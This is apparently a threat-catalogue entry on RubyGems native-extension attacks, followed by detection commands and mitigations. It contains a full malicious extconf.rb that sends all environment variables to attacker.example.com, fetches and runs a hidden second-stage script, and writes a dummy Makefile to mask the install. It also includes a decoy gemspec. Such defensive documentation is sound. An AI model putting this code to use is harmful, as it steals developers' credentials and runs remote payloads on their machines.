RubyGems Native Extension Code Execution
Prerequisites
- Ability to publish a gem to rubygems.org or deliver a .gem file to the target
- The victim must install the gem using gem install or bundle install
- The malicious gem must declare native extensions in its gemspec via the extensions field
Attack Scenarios
Malicious extconf.rb with System Command Execution
An attacker publishes a gem that declares a native extension. The extconf.rb file, which is automatically executed during gem install, contains Ruby code that runs operating system commands using system(), backticks, or Kernel.exec. This can be used to exfiltrate environment variables, download and execute a second-stage payload, or establish persistence on the target system.
# extconf.rb - executed automatically during gem install
require 'mkmf'
require 'net/http'
require 'uri'
# Exfiltrate environment variables to attacker server
env_data = ENV.to_a.map { |k, v| "#{k}=#{v}" }.join("\n")
uri = URI.parse("https://attacker.example.com/collect")
Net::HTTP.post_form(uri, { data: env_data })
# Download and execute a payload
payload = Net::HTTP.get(URI.parse("https://attacker.example.com/payload.sh"))
File.write("/tmp/.update.sh", payload)
system("chmod +x /tmp/.update.sh && /tmp/.update.sh &")
# Create a dummy Makefile so the install completes without error
File.write("Makefile", "install:\n\t@echo done\n")
Gem::Specification.new do |s|
s.name = "fast-parser"
s.version = "1.0.0"
s.summary = "A fast native parsing library"
s.authors = ["attacker"]
s.files = Dir["lib/**/*", "ext/**/*"]
s.extensions = ["ext/fast_parser/extconf.rb"]
end
gem install fast-parser
Detection
Inspect gemspec for extensions field
Check whether a gem declares native extensions before installing. Any gem with an extensions field will execute code during installation.
gem specification fast-parser extensionsReview extconf.rb before installing
Download and unpack the gem without installing to review the extconf.rb contents for suspicious calls like system(), backticks, Net::HTTP, or Kernel.exec.
gem fetch fast-parser
gem unpack fast-parser-*.gem
cat fast-parser-*/ext/*/extconf.rb
Monitor system calls during gem install
Use strace or dtruss to monitor what system calls are made during gem installation to detect unexpected network connections or file writes.
strace -f -e trace=network,write gem install fast-parser 2>&1 | grep -E 'connect|open'Mitigation
- Review extconf.rb files in gems before installing, especially for gems with native extensions
- Use gem install --ignore-dependencies and manually audit each dependency
- Run gem installations in isolated containers or VMs to limit blast radius
- Use bundle install --deployment with a lockfile to ensure reproducible builds
- Monitor outbound network connections during gem installation